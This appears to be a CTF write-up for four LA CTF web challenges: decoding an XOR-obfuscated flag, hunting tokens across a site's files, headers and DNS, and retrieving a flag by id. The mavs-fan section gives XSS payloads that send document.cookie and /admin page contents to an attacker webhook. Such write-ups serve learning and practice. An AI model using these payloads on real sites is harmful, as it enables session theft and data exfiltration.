---
# System prepended metadata

title: LA CTF

---

# Web

## lucky-flag

After reconnaissance, I found that the `flag` can be obtained in `main.js`

`main.js`
```python=
const $ = q => document.querySelector(q);
const $a = q => document.querySelectorAll(q);

const boxes = $a('.box');
let flagbox = boxes[Math.floor(Math.random() * boxes.length)];

for (const box of boxes) {
  if (box === flagbox) {
    box.onclick = () => {
      let enc = `"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"`;
      for (let i = 0; i < enc.length; ++i) {
        try {
          enc = JSON.parse(enc);
        } catch (e) { }
      }
      let rw = [];
      for (const e of enc) {
        rw['\x70us\x68'](e['\x63har\x43ode\x41t'](0) ^ 0x62);
      }
      const x = rw['\x6dap'](x => String['\x66rom\x43har\x43ode'](x));
      alert(`Congrats ${x['\x6aoin']('')}`);
    };
    flagbox = null;
  } else {
    box.onclick = () => alert('no flag here');
  }
};
```

Accordingly, if clicked correctly, enc will be decrypted by XOR-ing each character with `0x62`

`script`

```python=
import json

enc = '"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"'

enc = json.loads(enc)

flag = ''.join(chr(ord(c) ^ 0x62) for c in enc)

print(f"Flag: {flag}")
# Flag: lactf{w4s_i7_luck_0r_ski11}
```

## I spy...

In this challenge, we need to find and verify the token step by step and receive the flag at the final step.

`step 1`

```
This token: B218B51749AB9E4C669E4B33122C8AE3
```

`step 2`
```
A token in the HTML source code...
```
use ctrl + U 
```
<!-- Token: 66E7AEBA46293C88D484CDAB0E479268 -->
```

`step 3`
```
A token in the JavaScript console...
```
find token in `thingy.js` file
`thingy.js` 
```p=
// Token: 9D34859CA6FC9BB8A57DB4F444CDAE83
// You do not need to deobfuscate this code.
function _0x2d52(_0x3116f1, _0x5c1099) {
  var _0x15be24 = _0xc9e3();
  return (
    (_0x2d52 = function (_0x41f528, _0x27c380) {
      _0x41f528 = _0x41f528 - (-0x261e + -0x23e0 + -0x121 * -0x43);
      var _0x878472 = _0x15be24[_0x41f528];
      return _0x878472;
    }),
    _0x2d52(_0x3116f1, _0x5c1099)
  );
}
function _0xc9e3() {
  var _0x530cd8 = [
    "\x34\x31\x30\x30\x4b\x7a\x73\x6c\x70\x4e",
    "\x32\x36\x31\x50\x4d\x48\x64\x48\x51",
    "\x37\x30\x32\x34\x31\x30\x5a\x6d\x6a\x4a\x66\x6b",
    "\x34\x34\x31\x39\x31\x38\x7a\x77\x4d\x4d\x54\x66",
    "\x36\x32\x39\x35\x32\x69\x69\x76\x49\x68\x4b",
    "\x34\x44\x41\x45\x46\x38\x41\x44\x36",
    "\x33\x30\x32\x36\x37\x33\x72\x74\x57\x6e\x58\x6d",
    "\x61\x2d\x74\x6f\x6b\x65\x6e\x3d\x36\x34",
    "\x38\x38\x46\x36\x41\x37\x35\x30\x30\x43",
    "\x54\x6f\x6b\x65\x6e\x3a\x20\x35\x44\x31",
    "\x35\x32\x37\x34\x36\x30\x45\x43\x77\x54\x6d\x56",
    "\x31\x35\x31\x46\x31\x37\x30\x37\x46\x32",
    "\x31\x38\x31\x30\x39\x36\x6f\x73\x77\x7a\x51\x6a",
    "\x6c\x6f\x67",
    "\x63\x6f\x6f\x6b\x69\x65",
    "\x31\x38\x79\x65\x6d\x53\x77\x76",
    "\x39\x39\x69\x55\x44\x4e\x66\x69",
  ];
  _0xc9e3 = function () {
    return _0x530cd8;
  };
  return _0xc9e3();
}
var _0x471dbd = _0x2d52;
(function (_0x53cab2, _0x4d06c8) {
  var _0x97c765 = {
      _0x5a6c08: 0x1aa,
      _0x3ae67c: 0x1ae,
      _0x2fc6f8: 0x1b5,
      _0x2f6fc0: 0x1b1,
      _0x4baccd: 0x1af,
      _0x31175d: 0x1ac,
    },
    _0x7e6301 = _0x2d52,
    _0x29f503 = _0x53cab2();
  while (!![]) {
    try {
      var _0x30ffb3 =
        (-parseInt(_0x7e6301(_0x97c765._0x5a6c08)) /
          (0x1d12 + -0xe13 + -0xefe)) *
          (parseInt(_0x7e6301(0x1ab)) / (-0x127c + -0x1229 + 0x24a7)) +
        parseInt(_0x7e6301(_0x97c765._0x3ae67c)) /
          (-0xe59 + 0xcae * 0x1 + 0x1ae) +
        parseInt(_0x7e6301(0x1a6)) / (-0x1 * -0x1532 + 0xaf8 + -0x2 * 0x1013) +
        parseInt(_0x7e6301(_0x97c765._0x2fc6f8)) /
          (-0xb01 + 0x1603 + -0x1 * 0xafd) +
        (parseInt(_0x7e6301(0x1a9)) /
          (-0x4 * 0x35c + -0x1f53 + -0x2cc9 * -0x1)) *
          (-parseInt(_0x7e6301(_0x97c765._0x2f6fc0)) /
            (-0x2563 + 0xfef + -0x27 * -0x8d)) +
        (parseInt(_0x7e6301(_0x97c765._0x4baccd)) /
          (0x250c + 0xfb5 * -0x2 + -0x2 * 0x2cd)) *
          (parseInt(_0x7e6301(_0x97c765._0x31175d)) /
            (0x103a + -0x2589 + -0x1 * -0x1558)) +
        -parseInt(_0x7e6301(0x1ad)) / (-0x3fd + 0x260b + -0x2204);
      if (_0x30ffb3 === _0x4d06c8) break;
      else _0x29f503["push"](_0x29f503["shift"]());
    } catch (_0x5bc206) {
      _0x29f503["push"](_0x29f503["shift"]());
    }
  }
})(_0xc9e3, 0x37869 + -0x3783d + -0x6f * -0x457),
  console[_0x471dbd(0x1a7)](
    _0x471dbd(0x1b4) +
      "\x46\x39\x38\x42\x43\x45\x45\x35\x31\x35" +
      _0x471dbd(0x1b3) +
      _0x471dbd(0x1b0),
  ),
  (document[_0x471dbd(0x1a8)] =
    _0x471dbd(0x1b2) +
    "\x37\x45\x36\x37\x42\x34\x41\x38\x46\x34" +
    "\x41\x41\x32\x38\x46\x41\x42\x36\x30\x32" +
    _0x471dbd(0x1a5)),
  undefined;

// from https://codepen.io/whipcat/pen/ExKPQqZ, converted to normal JS
document.querySelector("body").addEventListener("mousemove", function (event) {
  const eyes = document.querySelectorAll(".eye");
  eyes.forEach((eye) => {
    // Get element position and dimensions
    const rect = eye.getBoundingClientRect();
    const x = rect.left + rect.width / 2 + window.scrollX;
    const y = rect.top + rect.height / 2 + window.scrollY;

    const rad = Math.atan2(event.pageX - x, event.pageY - y);
    const rot = rad * (180 / Math.PI) * -1 + 180;

    // Apply rotation transform
    eye.style.transform = `rotate(${rot}deg)`;
  });
});

```

However, the code has been `obfuscated`, so we decrypt it [here](https://deobfuscate.relative.im/)

`final`
```p=
console.log('Token: 5D1F98BCEE51588F6A7500C4DAEF8AD6')
document.cookie = 'a-token=647E67B4A8F4AA28FAB602151F1707F2'
undefined
document.querySelector('body').addEventListener('mousemove', function (event) {
  const eyes = document.querySelectorAll('.eye')
  eyes.forEach((eye) => {
    const rect = eye.getBoundingClientRect()
    const x = rect.left + rect.width / 2 + window.scrollX
    const y = rect.top + rect.height / 2 + window.scrollY
    const rad = Math.atan2(event.pageX - x, event.pageY - y)
    const rot = rad * (180 / Math.PI) * -1 + 180
    eye.style.transform = `rotate(${rot}deg)`
  })
})
# use token: 5D1F98BCEE51588F6A7500C4DAEF8AD6 for step 3
```

`step 4`
```
A token in the stylesheet...
```
into `style.css` file
```
/* Token: 29D3065EFED4A6F82F2116DA1784C265 */
```

`step 5`
```
A token in javascript code...
```
it's comment in `thingy.js` file
```
// Token: 9D34859CA6FC9BB8A57DB4F444CDAE83
```

`step 6`
```
A token in a header...
```
open BurpSuite and show it 
```
X-Token: BF1E1EAA5C8FDA6D9D0395B6EA075309
```

`step 7`
```
A token in a cookie...
```

into requets header in burpsuite
```
Cookie: a-token=647E67B4A8F4AA28FAB602151F1707F2; stage_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YWx1ZSI6IjI5RDMwNjVFRkVENEE2RjgyRjIxMTZEQTE3ODRDMjY1In0.GdTtEqA2fRKEccEBMfS4TbI2CXcPd-xJbAl3lW1EtFw
```

`step 8`
```
A token where the robots are forbidden from visiting...
```

access `/robots.txt` and after accsess `/a-magical-token.txt`
```
Token: 3FB4C9545A6189DE5DE446D60F82B3AF
```

`step 9`
```
A token where Google is told what pages to visit and index...
```
access `/sitemap.xml`
```
<!--  Token: F1C20B637F1B78A1858A3E62B66C3799  -->
```

`step 10`
```
A token received when making a DELETE request to this page...
```
replace `POST` to `DELETE` method
```
You DELETED MY WEBSITE!!!!! HOW DARE YOU????? 32BFBAEB91EFF980842D9FA19477A42E
```

`step 11`
```
A token in a TXT record at i-spy.chall.lac.tf...
```
use nslookup to see TXT record 
```
payload: nslookup -type=TXT i-spy.chall.lac.tf
# final token : 7227E8A26FC305B891065FE0A1D4B7D4
```

`result`
```
A Flag! lactf{1_sp0773d_z_t0k3ns_4v3rywh3r3}
```

## mavs-fan

In this challenge, there is a web server and an admin bot server, so I immediately thought of `XSS`. After reading the description, we see that JavaScript commands cannot be used, so I used a different simple payload
```
<img src=x onerror="alert(1)">
```

Then I tried extracting the content to a webhook but failed until I realized that the `flag` was inside `/admin`

```
<img src=x onerror="fetch('url of webhook'+document.cookie)">
```

And thus, we cannot steal the `admin's cookie`, so I had the `admin bot` extract the content using the following payload
```
<img src=x onerror="fetch('/admin')
.then(r => r.redirected ? r.text() : r.text())
.then(d => fetch('<url of webhook>flag=' + encodeURIComponent(d)))">
```

After sending the payload, I used the URL from that post to send it to the admin bot for verification and finally received the `flag` on the webhook.

## chessbased

For this challenge, we need to focus on `/render` because initially, the `flag` is added to openings, so we can retrieve it via the `id`

```p=
app.get('/render', (req, res) => {
  const id = req.query.id;
  const op = lookup.get(id);
  res.send(`
    <p>${op?.name}</p>
    <p>${op?.moves}</p>
  `);
});
```

```
/render?id=flag
```

